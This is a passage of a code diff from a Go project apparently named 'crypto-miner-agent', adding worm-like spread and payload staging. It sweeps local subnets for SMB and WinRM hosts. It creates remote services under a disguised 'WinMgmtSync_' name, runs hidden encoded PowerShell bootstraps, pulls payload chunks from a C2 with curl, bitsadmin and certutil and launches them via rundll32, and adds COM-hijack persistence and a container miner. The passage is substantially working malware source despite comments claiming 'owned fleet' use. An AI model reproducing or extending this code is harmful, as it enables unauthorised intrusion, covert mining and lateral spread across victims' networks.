Source string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint
}
// ServiceGraphHost groups service findings for one host on a subnet.
type ServiceGraphHost struct {
Host string `json:"host"`
Subnet string `json:"subnet,omitempty"`
Services []ServiceGraphEntry `json:"services"`
}
// ServiceDiscoverResult is the JSON payload returned by service_discover.
type ServiceDiscoverResult struct {
ProbedAt string `json:"probed_at"`
Local ServiceGraphHost `json:"local"`
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
PassiveHints []string `json:"passive_hints,omitempty"`
}
// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id.
func JoinLaneForSignal(serviceName string, port int) string {
name := strings.ToLower(strings.TrimSpace(serviceName))
switch {
case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"):
return "smb"
case port == 5985 || port == 5986 || strings.Contains(name, "winrm"):
return "winrm"
case port == 22 || strings.Contains(name, "ssh") || name == "sshd":
return "linux"
case port == 2375 || port == 2376 || strings.Contains(name, "docker"):
return "docker"
case strings.Contains(name, "wsl"):
return "wsl"
case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"):
return "powershell"
case strings.Contains(name, "dotnet"):
return "dotnet"
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
return "bits_curl"
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
return "gpo"
case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"):
return "gpo"
default:
return ""
}
}
func entryWithLane(name string, port int, source string) ServiceGraphEntry {
return ServiceGraphEntry{
ServiceName: name,
Port: port,
JoinLaneCandidate: JoinLaneForSignal(name, port),
Source: source,
}
}
// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port.
func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost {
if base == nil {
base = make(map[string]ServiceGraphHost)
}
for _, h := range hosts {
host := strings.TrimSpace(h.Host)
if host == "" {
continue
}
existing, ok := base[host]
if !ok {
dup := h
dup.Services = dedupeEntries(h.Services)
base[host] = dup
continue
}
if existing.Subnet == "" && h.Subnet != "" {
existing.Subnet = h.Subnet
}
existing.Services = dedupeEntries(append(existing.Services, h.Services...))
base[host] = existing
}
return base
}
func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
seen := make(map[string]bool, len(in))
out := make([]ServiceGraphEntry, 0, len(in))
for _, e := range in {
key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source
if seen[key] {
continue
}
seen[key] = true
out = append(out, e)
}
return out
}
type windowsServiceRow struct {
Name string `json:"name"`
Status string `json:"status"`
Port int `json:"port"`
}
type windowsDiscoverPayload struct {
Services []windowsServiceRow `json:"services"`
Hints []string `json:"hints"`
}
func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, row := range rows {
name := strings.TrimSpace(row.Name)
if name == "" {
continue
}
port := row.Port
if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 {
if p := strings.TrimPrefix(name, "tcp/"); p != name {
if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil {
port = n
}
}
}
entries = append(entries, ServiceGraphEntry{
ServiceName: name,
Port: port,
Status: strings.TrimSpace(row.Status),
JoinLaneCandidate: JoinLaneForSignal(name, port),
Source: "local_service",
})
}
return entries
}
// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units.
func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, line := range strings.Split(raw, "\n") {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "UNIT") {
continue
}
fields := strings.Fields(line)
if len(fields) < 3 {
continue
}
unit := fields[0]
state := fields[2]
if state != "active" && state != "running" {
continue
}
entries = append(entries, entryWithLane(unit, 0, "local_service"))
}
return entries
}
// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script.
func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) {
raw = strings.TrimSpace(raw)
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return nil, nil
}
return windowsRowsToEntries(payload.Services), payload.Hints
}
// ParseServiceDiscoverJSON unmarshals agent command output into a result struct.
func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) {
var result ServiceDiscoverResult
raw = strings.TrimSpace(raw)
if idx := strings.Index(raw, "{"); idx > 0 {
raw = raw[idx:]
}
err := json.Unmarshal([]byte(raw), &result)
return result, err
}

View File

@@ -0,0 +1,53 @@
package deploy
import (
"fmt"
"strings"
"crypto-miner-agent/config"
)
// SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share.
type SMBUNCSpreadOpts struct {
UNCPath string
MaxHosts int
SvcName string
}
// ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share.
func ValidateUNCSpreadPath(unc string) error {
unc = strings.TrimSpace(unc)
if unc == "" {
return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)")
}
lower := strings.ToLower(unc)
if !strings.HasPrefix(lower, `\\`) {
return fmt.Errorf("unc_path must start with \\\\")
}
if strings.Contains(unc, "..") {
return fmt.Errorf("unc_path must not contain ..")
}
return nil
}
// RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe
// pointing at a UNC Forge output share (no PsExec, no local payload copy).
func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string {
if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil {
return "smb unc spread rejected: " + err.Error()
}
maxHosts := opts.MaxHosts
if maxHosts <= 0 {
maxHosts = 64
}
targets := DiscoverLANSpreadTargets(maxHosts)
go runSMBUNCSpreadSweep(cfg, opts, targets)
return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath)
}
func smbUNCSvcName(cfg config.RuntimeConfig, override string) string {
if strings.TrimSpace(override) != "" {
return sanitizeName(override)
}
return "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}

View File

@@ -0,0 +1,10 @@
//go:build !windows
package deploy
import "crypto-miner-agent/config"
func runSMBUNCSpreadSweep(_ config.RuntimeConfig, _ SMBUNCSpreadOpts, targets []string) {
beginSpreadSweep("smb_unc_sc", len(targets))
finishSpreadSweepImmediate()
}

View File

@@ -0,0 +1,48 @@
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateUNCSpreadPath(t *testing.T) {
if err := ValidateUNCSpreadPath(`\\forge-host\pathforge$\worker.exe`); err != nil {
t.Fatalf("valid UNC rejected: %v", err)
}
if err := ValidateUNCSpreadPath(""); err == nil {
t.Fatal("empty UNC should fail")
}
if err := ValidateUNCSpreadPath(`C:\local\worker.exe`); err == nil {
t.Fatal("local path should fail")
}
if err := ValidateUNCSpreadPath(`\\host\share\..\evil.exe`); err == nil {
t.Fatal("traversal in UNC should fail")
}
}
func TestRunSMBUNCSpreadRejectsBadUNC(t *testing.T) {
msg := RunSMBUNCSpread(config.RuntimeConfig{}, SMBUNCSpreadOpts{UNCPath: "bad"})
if !strings.Contains(strings.ToLower(msg), "rejected") {
t.Fatalf("unexpected message: %q", msg)
}
}
func TestSMBUNCSvcName(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
got := smbUNCSvcName(cfg, "")
if !strings.HasPrefix(got, "WinMgmtSync_") {
t.Fatalf("got %q", got)
}
if strings.Contains(got, " ") {
t.Fatal("service name must not contain spaces")
}
}
func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
targets := DiscoverLANSpreadTargets(2)
if len(targets) > 2 {
t.Fatalf("cap ignored: got %d targets", len(targets))
}
}

View File

@@ -0,0 +1,103 @@
//go:build windows
package deploy
import (
"log"
"net"
"strings"
"time"
"crypto-miner-agent/config"
)
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
beginSpreadSweep("smb_unc_sc", len(targets))
if len(targets) == 0 {
finishSpreadSweepImmediate()
return
}
shareRoot := uncShareRoot(opts.UNCPath)
if shareRoot != "" {
_ = ensureNetUse(shareRoot)
}
svcName := smbUNCSvcName(cfg, opts.SvcName)
binPath := formatSCBinPath(opts.UNCPath, runFlag)
for _, target := range targets {
spreadSem <- struct{}{}
go func(host string) {
defer func() { <-spreadSem }()
attemptSMBUNCSpread(host, svcName, binPath)
}(target)
}
}
func uncShareRoot(unc string) string {
unc = strings.TrimSpace(unc)
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
return ""
}
parts := strings.Split(unc[2:], `\`)
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
return ""
}
return `\\` + parts[0] + `\` + parts[1]
}
func ensureNetUse(share string) error {
out, err := HiddenCombinedOutput("net.exe", "use", share)
if err == nil {
return nil
}
msg := strings.ToLower(string(out))
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
return nil
}
return err
}
func formatSCBinPath(unc, args string) string {
unc = strings.TrimSpace(unc)
args = strings.TrimSpace(args)
if args == "" {
return `"` + unc + `"`
}
return `"` + unc + `" ` + args
}
func attemptSMBUNCSpread(target, svcName, binPath string) {
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 445 closed")
return
}
conn.Close()
var credSession SpreadCredSession
var credCleanup func()
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
credSession = session
if cleanup, applied := applySpreadCredSession(target, session); applied {
credCleanup = cleanup
}
}
if credCleanup != nil {
defer credCleanup()
}
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
"binPath=", binPath,
"type=", "own",
"start=", "demand")
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
} else {
recordSpreadAttempt(target, false, "remote sc start failed")
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
}
}

View File

@@ -0,0 +1,66 @@
package deploy
import (
"net"
"time"
)
// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps.
// ARP cache is consulted first; a capped /24 port knock supplements sparse caches.
func DiscoverLANSpreadTargets(maxHosts int) []string {
if maxHosts <= 0 {
maxHosts = 64
}
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
targets := mergeUniqueIPv4(arpHosts(), neighborHosts())
if len(targets) < 3 {
ips := getLocalIPs()
seen := make(map[string]bool)
for _, t := range targets {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(targets) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
if err == nil {
conn.Close()
seen[candidate] = true
targets = append(targets, candidate)
}
}
}
}
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var filtered []string
for _, target := range targets {
if localSet[target] {
continue
}
filtered = append(filtered, target)
if len(filtered) >= maxHosts {
break
}
}
return filtered
}

97
agent/deploy/staging.go Normal file
View File

@@ -0,0 +1,97 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
// StagingChunk is one downloadable piece of a staged payload.
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
}
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
type StagingManifest struct {
Method string `json:"method"` // curl | bits
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"` // exe | rundll32
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"` // chunks are base64; decode via certutil
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
}
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.
func ResolveStagingPath(remote string) (string, error) {
return ResolveRemotePath(remote)
}
func sanitizeStagingFilename(name string) (string, error) {
name = strings.TrimSpace(name)
name = strings.ReplaceAll(name, "\\", "/")
if name == "" {
return "", fmt.Errorf("chunk filename is empty")
}
parts := strings.Split(name, "/")
var clean []string
for _, p := range parts {
p = strings.TrimSpace(p)
if p == "" || p == "." || p == ".." {
continue
}
clean = append(clean, p)
}
if len(clean) == 0 {
return "", fmt.Errorf("chunk filename is empty")
}
return filepath.Join(clean...), nil
}
func verifyFileSHA256(path, expected string) error {
expected = strings.ToLower(strings.TrimSpace(expected))
if expected == "" {
return fmt.Errorf("sha256 hash is required")
}
f, err := os.Open(path)
if err != nil {
return err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return err
}
got := hex.EncodeToString(h.Sum(nil))
if got != expected {
return fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
}
return nil
}
func concatFiles(dest string, parts []string) error {
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o755)
if err != nil {
return err
}
defer out.Close()
for _, part := range parts {
in, err := os.Open(part)
if err != nil {
return err
}
if _, err := io.Copy(out, in); err != nil {
in.Close()
return err
}
in.Close()
}
return nil
}

View File

@@ -0,0 +1,14 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
// RunStagingChain is Windows-only (BITS/curl/certutil/rundll32).
func RunStagingChain(_ config.RuntimeConfig, _ StagingManifest) (string, error) {
return "", fmt.Errorf("staging chain is Windows-only")
}

View File

@@ -0,0 +1,96 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"os"
"path/filepath"
"strings"
"testing"
)
func TestStagingRejectsPathTraversal(t *testing.T) {
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "staging/../../outside.exe"},
{name: "absolute_with_traversal", path: "/var/tmp/../../etc/shadow"},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
_, err := ResolveStagingPath(tc.path)
if err == nil {
t.Fatalf("ResolveStagingPath(%q) should reject traversal", tc.path)
}
if !strings.Contains(err.Error(), "path traversal") {
t.Fatalf("ResolveStagingPath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
}
})
}
}
func TestSanitizeStagingFilenameRejectsTraversal(t *testing.T) {
cases := []string{
"../evil.bin",
`..\..\payload.exe`,
"parts/../../../x.b64",
}
for _, raw := range cases {
got, err := sanitizeStagingFilename(raw)
if err != nil {
continue
}
if strings.Contains(got, "..") {
t.Fatalf("sanitizeStagingFilename(%q) leaked traversal: %q", raw, got)
}
}
}
func TestSanitizeStagingFilenameAcceptsSafeName(t *testing.T) {
got, err := sanitizeStagingFilename("chunk-0.b64")
if err != nil {
t.Fatal(err)
}
if got != "chunk-0.b64" {
t.Fatalf("got %q", got)
}
}
func TestVerifyFileSHA256Match(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "payload.bin")
content := []byte("staging-chunk-data")
if err := os.WriteFile(path, content, 0o644); err != nil {
t.Fatal(err)
}
sum := sha256.Sum256(content)
if err := verifyFileSHA256(path, hex.EncodeToString(sum[:])); err != nil {
t.Fatalf("verify: %v", err)
}
}
func TestVerifyFileSHA256Mismatch(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "payload.bin")
if err := os.WriteFile(path, []byte("other"), 0o644); err != nil {
t.Fatal(err)
}
if err := verifyFileSHA256(path, strings.Repeat("a", 64)); err == nil {
t.Fatal("expected sha256 mismatch error")
}
}
func TestVerifyFileSHA256RequiresHash(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "empty.bin")
if err := os.WriteFile(path, nil, 0o644); err != nil {
t.Fatal(err)
}
if err := verifyFileSHA256(path, ""); err == nil {
t.Fatal("expected error for empty expected hash")
}
}

View File

@@ -0,0 +1,141 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// RunStagingChain downloads chunks via curl.exe or bitsadmin, optionally decodes
// with certutil, verifies the server-supplied SHA256, and launches via rundll32 or exe.
func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string, error) {
if len(manifest.Chunks) == 0 {
return "", fmt.Errorf("staging manifest has no chunks")
}
dest, err := ResolveStagingPath(manifest.Dest)
if err != nil {
return "", err
}
workDir := filepath.Join(filepath.Dir(dest), ".staging-"+sanitizeName(cfg.WorkerName))
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", err
}
defer os.RemoveAll(workDir)
method := strings.ToLower(strings.TrimSpace(manifest.Method))
if method == "" {
method = "curl"
}
var assembled []string
for i, chunk := range manifest.Chunks {
name, err := sanitizeStagingFilename(chunk.File)
if err != nil {
return "", fmt.Errorf("chunk %d: %w", i, err)
}
localPath := filepath.Join(workDir, name)
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
return "", err
}
switch method {
case "bits", "bitsadmin":
if err := downloadChunkBITS(chunk.URL, localPath); err != nil {
return "", fmt.Errorf("bits chunk %d: %w", i, err)
}
default:
if err := downloadChunkCurl(chunk.URL, localPath); err != nil {
return "", fmt.Errorf("curl chunk %d: %w", i, err)
}
}
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
if err := certutilDecode(localPath, decoded); err != nil {
return "", fmt.Errorf("certutil chunk %d: %w", i, err)
}
assembled = append(assembled, decoded)
} else {
assembled = append(assembled, localPath)
}
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
return "", err
}
if len(assembled) == 1 {
if err := os.Rename(assembled[0], dest); err != nil {
if err := copyFile(assembled[0], dest); err != nil {
return "", err
}
}
} else {
if err := concatFiles(dest, assembled); err != nil {
return "", err
}
}
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
_ = os.Remove(dest)
return "", err
}
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
switch launch {
case "rundll32", "dll":
export := strings.TrimSpace(manifest.DLLExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched rundll32 %s", len(manifest.Chunks), method, dest, export), nil
default:
args := []string{runFlag}
if manifest.DeferMining {
args = append(args, deferMiningFlag)
}
if manifest.SpreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched exe %v", len(manifest.Chunks), method, dest, args), nil
}
}
func downloadChunkCurl(url, dest string) error {
url = strings.TrimSpace(url)
if url == "" {
return fmt.Errorf("chunk url is empty")
}
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
}
func downloadChunkBITS(url, dest string) error {
url = strings.TrimSpace(url)
if url == "" {
return fmt.Errorf("chunk url is empty")
}
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
steps := [][]string{
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
}
for _, args := range steps {
if err := HiddenRun("bitsadmin", args...); err != nil {
_ = HiddenRun("bitsadmin", "/cancel", job)
return err
}
}
_ = HiddenRun("bitsadmin", "/complete", job)
return nil
}
func certutilDecode(src, dest string) error {
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
}

View File

@@ -8,11 +8,15 @@ import (
// Spread prerequisites for lateral deployment modules: // Spread prerequisites for lateral deployment modules:
// //
// Windows (SMB/SCM via autospread.go): // Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN. // - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$ // - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
// and create/start a remote service via sc.exe (typically requires local admin // then sc.exe \\host create/start on the local path.
// or equivalent on the target). // - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
// the egress hop via POST /api/v1/pathtrace/spread.
// - Both require an admin-capable token on the target for remote SCM.
// //
// Unix (SSH via autospread_unix.go): // Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable. // - Target TCP/22 (SSH) must be reachable.
@@ -20,10 +24,13 @@ import (
// already work — e.g. the agent user's public key in target authorized_keys, // already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported. // or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
// //
// Subnet discovery: // Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local // - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers // syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
// may appear when the OS neighbor cache lists them on a shared /64. // - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
// - ARP cache is consulted first (arp_*.go) before any active sweep.
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces. // getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string { func getLocalIPs() []string {

View File

@@ -0,0 +1,20 @@
package deploy
import (
"log"
"crypto-miner-agent/vulnprobe"
)
func init() {
vulnprobe.HiddenExec = HiddenCombinedOutput
}
// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit).
func RunVulnRecon(osVersion string) *vulnprobe.ScanReport {
ctx := vulnprobe.ProbeHost(nil, osVersion)
report := vulnprobe.Run(ctx)
log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s",
report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary)
return report
}

View File

@@ -0,0 +1,128 @@
//go:build windows
package deploy
import (
"encoding/base64"
"fmt"
"log"
"os"
"strings"
"time"
"unicode/utf16"
"crypto-miner-agent/config"
)
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
recordSpreadAttempt(target, false, "winrm port closed")
return
}
exePath, err := os.Executable()
if err != nil {
recordSpreadAttempt(target, false, "executable path unavailable")
return
}
destName := sharePayloadName(cfg)
script := fmt.Sprintf(`
$dest = Join-Path $env:TEMP '%s'
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
if (Test-Path $dest) {
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
}
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
encoded := encodePowerShell(script)
var credSession SpreadCredSession
ps := fmt.Sprintf(`
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
if ($s) {
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
Remove-PSSession $s -EA SilentlyContinue
}
`, target, encoded)
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
credSession = session
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
}
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
if cfg.COMHijackPersist {
_ = applyCOMHijackPersistence(exePath)
}
return
}
recordSpreadAttempt(target, false, "winrm invoke failed")
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
}
func encodePowerShell(script string) string {
utf16le := utf16.Encode([]rune(script))
buf := make([]byte, len(utf16le)*2)
for i, r := range utf16le {
buf[i*2] = byte(r)
buf[i*2+1] = byte(r >> 8)
}
return base64.StdEncoding.EncodeToString(buf)
}
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
func spreadViaWinRM(cfg config.RuntimeConfig) {
if !cfg.WinRMSpread && !cfg.AutoSpread {
return
}
localIPs := getLocalIPs()
var targets []string
localSet := make(map[string]bool)
for _, ip := range localIPs {
localSet[ip] = true
}
for _, ip := range localIPs {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if localSet[candidate] {
continue
}
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
targets = append(targets, candidate)
}
}
}
beginSpreadSweep("winrm_encoded", len(targets))
if len(targets) == 0 {
finishSpreadSweepImmediate()
return
}
for _, target := range targets {
t := target
spreadSem <- struct{}{}
go func() {
defer func() { <-spreadSem }()
attemptWinRMSpread(cfg, t)
}()
}
}
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
func EnableLocalPSRemoting() error {
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
}

View File

@@ -88,6 +88,7 @@ func main() {
// AgentClient.authenticate() only after the server accepts our fleet secret, // AgentClient.authenticate() only after the server accepts our fleet secret,
// which verifies we are on an owned fleet before initiating lateral movement. // which verifies we are on an owned fleet before initiating lateral movement.
deploy.StartPassiveSpreader(cfg) deploy.StartPassiveSpreader(cfg)
deploy.StartLotlOnion(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) { if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
// First-run spread marker is cleared after auth succeeds (handled in client). // First-run spread marker is cleared after auth succeeds (handled in client).
deploy.ClearFirstRunSpreadMarker(cfg) deploy.ClearFirstRunSpreadMarker(cfg)

View File

@@ -0,0 +1,258 @@
package miner
import (
"bytes"
"fmt"
"log"
"os"
"os/exec"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
const defaultMinerImage = "aetherforge/agent-worker:latest"
// containerExecCommand is exec.Command; tests override via SetContainerExecCommand.
var containerExecCommand = exec.Command
// SetContainerExecCommand restores the default when fn is nil.
func SetContainerExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
containerExecCommand = exec.Command
return
}
containerExecCommand = fn
}
// ContainerLauncher supervises an OCI workload that runs CPU mining isolated from the host agent.
type ContainerLauncher struct {
cfg config.RuntimeConfig
runtime ContainerRuntimeInfo
image string
name string
tarPath string // non-empty → docker load from tar, never registry pull
readOnly bool // docker_load tier uses --read-only rootfs
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewContainerLauncher builds a launcher when a container runtime is available.
func NewContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) (*ContainerLauncher, error) {
return newContainerLauncher(cfg, runtime, "", false)
}
// NewContainerLauncherFromTar builds a docker_load tier launcher (local tar, no registry pull).
func NewContainerLauncherFromTar(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string) (*ContainerLauncher, error) {
tarPath = strings.TrimSpace(tarPath)
if tarPath == "" {
return nil, ErrNoImageTar
}
return newContainerLauncher(cfg, runtime, tarPath, true)
}
func newContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string, readOnly bool) (*ContainerLauncher, error) {
if !runtime.Available || runtime.CLI == "" {
return nil, fmt.Errorf("no container runtime (docker/podman not in PATH)")
}
image := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_IMAGE"))
if image == "" {
image = defaultMinerImage
}
name := containerName(cfg)
return &ContainerLauncher{
cfg: cfg,
runtime: runtime,
image: image,
name: name,
tarPath: tarPath,
readOnly: readOnly,
}, nil
}
func containerName(cfg config.RuntimeConfig) string {
suffix := strings.TrimSpace(cfg.BuildID)
if suffix == "" {
suffix = "worker"
}
suffix = strings.Map(func(ch rune) rune {
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
return ch
}
return '-'
}, suffix)
return "aetherforge-miner-" + suffix
}
// Start launches the miner container (idempotent while already running).
func (l *ContainerLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
if l.tarPath != "" {
loaded, err := l.loadImageFromTar()
if err != nil {
return err
}
if loaded != "" {
l.image = loaded
}
}
args := l.buildRunArgs()
cmd := containerExecCommand(l.runtime.CLI, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
